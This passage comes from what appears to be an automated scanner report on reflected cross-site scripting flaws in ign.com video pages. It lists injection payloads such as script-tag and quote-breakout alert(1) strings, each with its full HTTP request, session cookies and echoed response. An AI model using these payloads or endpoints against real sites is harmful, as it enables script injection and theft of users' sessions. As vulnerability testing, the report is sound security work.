Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:04:30 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:04:30 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=fe78c8f9727e47c7e824cb29f39af279; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103f45525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 83765

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
").after(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011/01/31/ign-daily-fix-013111?256e1'-alert(1)-'dbd51a568c6=1';
   }
   </script>
...[SNIP]...

3.646. http://www.ign.com/videos/2011/01/31/killzone-in-5-minutes [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/31/killzone-in-5-minutes

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ab9c8'-alert(1)-'624aafc26aa was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/01/31/killzone-in-5-minutesab9c8'-alert(1)-'624aafc26aa HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:05:08 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:05:08 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=b897777d9c0c54a7942d3798e29068e7; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103e45525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 44520

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
").after(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011/01/31/killzone-in-5-minutesab9c8'-alert(1)-'624aafc26aa';
   }
   </script>
...[SNIP]...

3.647. http://www.ign.com/videos/2011/01/31/killzone-in-5-minutes [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/31/killzone-in-5-minutes

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 26aaf<script>alert(1)</script>c75c69bff95 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /videos/2011/01/31/killzone-in-5-minutes?26aaf<script>alert(1)</script>c75c69bff95=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:04:28 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:04:28 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=5a80b39dc40a552f9c54bcdf9129f951; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103045525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 85358

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
xmlns:og="http://ope
...[SNIP]...
<div id="videopageurl" class="toClipboard" style="display:none">http://www.ign.com/videos/2011/01/31/killzone-in-5-minutes?26aaf<script>alert(1)</script>c75c69bff95=1</div>
...[SNIP]...

3.648. http://www.ign.com/videos/2011/01/31/killzone-in-5-minutes [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/31/killzone-in-5-minutes

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 61f18'-alert(1)-'c73f036bc81 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/01/31/killzone-in-5-minutes?61f18'-alert(1)-'c73f036bc81=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:04:27 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:04:27 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=66e0931cc5a9521552004191a495f1df; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103045525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 85313

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
).after(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011/01/31/killzone-in-5-minutes?61f18'-alert(1)-'c73f036bc81=1';
   }
   </script>
...[SNIP]...

3.649. http://www.ign.com/videos/2011/01/31/killzone-in-5-minutes [objectid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/31/killzone-in-5-minutes

Issue detail

The value of the objectid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b2327'%3balert(1)//23e33f6a97f was submitted in the objectid parameter. This input was echoed as b2327';alert(1)//23e33f6a97f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/01/31/killzone-in-5-minutes?objectid=14324403b2327'%3balert(1)//23e33f6a97f HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:04:17 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:04:17 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=1ad5cc673a84fb92792b7e8fdcf729f7; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103345525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 86342

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
xmlns:og="http://ope
...[SNIP]...
ter.ignimgs.com\/static\/ignmedia\/js\/ZeroClipboard.swf");
var url = '/videos/nextup/4d4758b93831c87dfd0063b9?objType=games&platform=ps3&classification=feature&context=14324403b2327';alert(1)//23e33f6a97f';
$j.get(url, function(data){
$j("#nextup .hdr-nextup").after(data);
});
}
</script>
...[SNIP]...

3.650. http://www.ign.com/videos/2011/01/31/killzone-in-5-minutes [objectid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/01/31/killzone-in-5-minutes

Issue detail

The value of the objectid request parameter is copied into the HTML document as plain text between tags. The payload c65bb<script>alert(1)</script>bc2cdd0211c was submitted in the objectid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /videos/2011/01/31/killzone-in-5-minutes?objectid=14324403c65bb<script>alert(1)</script>bc2cdd0211c HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:04:18 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:04:18 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=ea61998b269d04aaaddd86bcb19b5424; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103145525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 86536

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
xmlns:og="http://ope
...[SNIP]...
<div id="videopageurl" class="toClipboard" style="display:none">http://www.ign.com/videos/2011/01/31/killzone-in-5-minutes?objectid=14324403c65bb<script>alert(1)</script>bc2cdd0211c</div>
...[SNIP]...

3.651. http://www.ign.com/videos/2011/02/03/killzone-3-video-review [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/02/03/killzone-3-video-review

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2abb3'-alert(1)-'29a365e5710 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/02/03/killzone-3-video-review2abb3'-alert(1)-'29a365e5710 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:10:52 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:10:52 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=cba65336e35c64d7e638417655ace724; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103145525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 44522

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
.after(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011/02/03/killzone-3-video-review2abb3'-alert(1)-'29a365e5710';
   }
   </script>
...[SNIP]...

3.652. http://www.ign.com/videos/2011/02/03/killzone-3-video-review [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/02/03/killzone-3-video-review

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4e8d0'-alert(1)-'208a5d7d34 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/02/03/killzone-3-video-review?4e8d0'-alert(1)-'208a5d7d34=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:10:11 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:10:11 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=1f388ee6f352d331320575237cb2cab0; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103045525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 83859

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
   xmlns:og="http://ope
...[SNIP]...
after(html);
           });//getJSON
           }
           newsHovered = true;
       });
   }
   function loginIGN(){
       window.location.href = 'http://my.ign.com/login?r=http://www.ign.com/videos/2011/02/03/killzone-3-video-review?4e8d0'-alert(1)-'208a5d7d34=1';
   }
   </script>
...[SNIP]...

3.653. http://www.ign.com/videos/2011/02/03/killzone-3-video-review [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/02/03/killzone-3-video-review

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 10357<script>alert(1)</script>cdae13cb1b7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /videos/2011/02/03/killzone-3-video-review?10357<script>alert(1)</script>cdae13cb1b7=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:10:15 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:10:15 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=e4dc7a790bdfa1408f9c89e5f7809319; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103e45525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 83907

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
xmlns:og="http://ope
...[SNIP]...
<div id="videopageurl" class="toClipboard" style="display:none">http://www.ign.com/videos/2011/02/03/killzone-3-video-review?10357<script>alert(1)</script>cdae13cb1b7=1</div>
...[SNIP]...

3.654. http://www.ign.com/videos/2011/02/03/killzone-3-video-review [objectid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/videos/2011/02/03/killzone-3-video-review

Issue detail

The value of the objectid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3a320'%3balert(1)//e60ab0a01d3 was submitted in the objectid parameter. This input was echoed as 3a320';alert(1)//e60ab0a01d3 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /videos/2011/02/03/killzone-3-video-review?objectid=143244033a320'%3balert(1)//e60ab0a01d3 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:10:48 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:10:48 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=38db0c7ef9b97ffa05a0583504d9c70a; path=/
Set-Cookie: NSC_pztufs_iuuq_wjq=ffffffff090f103e45525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 86125

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"
xmlns:og="http://ope
...[SNIP]...
ster.ignimgs.com\/static\/ignmedia\/js\/ZeroClipboard.swf");
var url = '/videos/nextup/4d476b17dad0bd3c6c00108e?objType=games&platform=ps3&classification=review&context=143244033a320';alert(1)//e60ab0a01d3';
$j.get(url, function(data){
$j("#nextup .hdr-nextup").after(data);
});
}
</script>
...[SNIP]...

3.655. http://www.ign.com/videos/2011/02/03/killzone-3-video-review [objectid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
